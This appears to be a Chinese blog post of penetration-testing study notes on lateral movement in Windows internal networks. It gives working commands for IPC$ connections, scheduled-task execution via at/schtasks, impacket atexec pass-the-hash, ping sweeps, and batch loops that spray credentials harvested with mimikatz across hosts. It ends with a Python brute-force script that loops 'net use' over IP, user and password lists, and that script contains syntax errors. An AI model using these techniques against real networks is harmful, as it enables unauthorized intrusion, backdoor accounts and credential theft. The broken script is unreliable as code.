当前位置:网站首页>网安学习-内网渗透2
网安学习-内网渗透2
2022-07-29 20:43:00 【YAy17】
目录
#案例2-横向渗透明文HASH传递atexec-impacket
#案例一:横向渗透明文传递at&schtasks
在拿下一台内网的主机之后,通过本地信息收集收集用户凭证等信息之后,如何横向渗透拿下更多的主机?这里介绍at&schtasks命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。
获取到某域主机权限->mimikatz得到密码(明文,或者是hash)->用到信息收集里面的域用户的列表当作用户名字典->用到密码明文当作密码的字典->尝试连接->创建计划任务(at | schtasks)->执行文件可以是后门文件或者是相关命令
at < windows2012
schtasks >= windows2012
利用流程:
- 建立IPC链接到目标主机
- 拷贝要执行的命令脚本到目标主机
- 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
- 删除IPC链接
net use \\server\ipc$"password" /user:username #工作组
net use \\server\ipc$"password" /user:domain \username #域内
dir \\xx.xx.xx.xx\C$\ #查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat #下载文件
copy 1.bat \\xx.xx.xx.xx\C$ #复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del #删除IPC
net view xx.xx.xx.xx #查看对方共享
建立IPC连接到目标主机:

接下来就是将add.bat文件拷贝到目标主机(实战中大多是CS 或者是MSF木马)。之后就是创建一个定时的任务。


其中add.bat文件中的内容是如上,就是增加一个用户名为xiaodi,密码为qwe...
查看是否创建成功。

可以看到已经有了xiaodi这个用户。
建立IPC失败的原因
- 目标系统不是NT或者以上的操作系统
- 对方没有打开IPC$共享
- 对方未开启139、445端口,或者被防火墙屏蔽
- 输出命令、账号密码有错误
#案例2-横向渗透明文HASH传递atexec-impacket


atexec工具自带提权。优点:方便快捷,可以支持hash。缺点:第三方工具,会受到杀毒软件或防护的影响。如果目标主机有杀软或防护的话,要对该软件进行免杀
#案例3:横向渗透明文HASH传递批量利用-综合
webserver已经拿到权限
通过mimikatz获取到密码。

获取到本机密码。之后便探针存活主机,使用批处理来跑多个ip地址,使用固定的密码账号,来执行个whoami,ips.txt就是刚才收集到存活主机的IP地址。(探针主机,可以用nmap也可以用上个文章记录的ping命令的方法)
for /L %i in (i,1,254) DO @ping -w 1 -n 1 192.168.3.%i findstr "TTL="
之后便可以写一个批量的脚本来测试这个口令在上面探测到的ip中使用概率。

其中的ips.txt中存放的就是我么上面探针到的地址。上面的for循环的代码被存储在at_ip.bat文件中,执行该文件。


这里就是发现了192.168.3.29执行whoami之后返回的是system。也就是说这个192.168.3.29账号为administrator,密码采用的就是[email protected]#45。那么由于我们得到的是system权限,所以我们又可以通过mimikatz等工具来获取到29这个主机上的密码,之后便可以再将其账号密码作为字典去批量测试域中的主机

之后便可以将得到的密码写入到pass.txt文件中,批量去测试域控。
这里使用的还是上面的ip.txt的那个for循环
FOR /F %%i in (ip.txt) do atexec.exe ./administrator:[email protected]%%i whoami

这里就返回了域控的密码。
当然上面都是通过了一个for来改变一个变量,我们也是可以改变三个变量,比如说ip地址、用户名、以及密码都作为变量进行FUZZ。
放上迪哥脚本。
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'1'
}
user = {
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack'
'mary'
'vpnadm'
'webadmin'
passs = {
'admin',
'[email protected]#45',
'Admin12345'
}
for ip in ips:
for user in users:
for mima in passs:
exec = "net use \\"+"\\"+ip+"\ipc$ "+mina+" /user:god\\"+user
print("----->"+exec+"<-----")
os.system(exec)
time.sleep(1)
连接上五台内网的主机,因此之后的操作就是和上面的一样了,上传文件等。
边栏推荐
- json-c实现json和结构体之间的相互转换
- 用对象字面量或Map替代Switch/if语句
- 7 行代码搞崩溃 B 站,原因令人唏嘘!
- Cobaltstrike和BurpSuite桌面快捷配置
- VSCode配置终端为系统命令行
- Kotlin - Coroutine Scope CoroutineScope, Coroutine Builder CoroutineBuilder, Coroutine Scope Function CoroutineScope Functiom
- Chrome浏览器打印flash log
- 怎么实现您的个人知识库?
- 容器网络硬核技术内幕 (26) 知微知彰,知柔知刚 (下)
- JSP Servlet JDBC MySQL CRUD Sample Tutorial
猜你喜欢

惠普服务器硬盘指示灯不亮或显示蓝色

940. Different subsequences II

The younger brother asked: Is the work of a programmer a day’s work of code?

QT安装、创建项目与调试,在VS中的使用:手把手教程

刘畊宏男孩女孩看过来!运动数据分析挖掘!(附全套代码和数据集)

如何进入董事会:给CIO的十条建议

全景教程丨VR全景拍摄如何拍摄日出和日落的场景?

《张卫国的夏天》欢乐来袭,黄磊、刘奕君携手演绎“冤种”兄弟

The Ministry of Human Resources and Social Security announced that "database operation administrator" has become a new occupation, and OceanBase participated in the formulation of occupational standar

关于论青少年尽早学少儿编程之说
随机推荐
PyQt5学习一(环境搭建)
网站ping端口的操作方法和命令介绍
模型推理模板
JS实现百叶窗特效
什么是数据安全性?
组合模式(Composite Pattern)
七个易犯的 IT 管理错误—以及如何避免
微博账号奇葩逻辑产品设计
Break the rules!MongoDB introduces SQL?
Writing Elegant Kotlin Code: Talk About What I Think "Kotlinic"
错误解决:Clipping input data to the valid range for imshow with RGB data ([0..1] for floats or [0..255]
Huawei laptop keyboard locked (how does the laptop keyboard light up)
全自动化机器学习建模!效果吊打初级炼丹师!
容器网络硬核技术内幕 (25) 知微知彰,知柔知刚 (中)
Panorama Tutorial丨How to shoot sunrise and sunset scenes in VR panoramic shooting?
刘畊宏男孩女孩看过来!运动数据分析挖掘!(附全套代码和数据集)
WeChat Mini Program 31 Subcontracting Mechanism
Chrome浏览器打印flash log
嵌入式分享合集24
TCP协议详解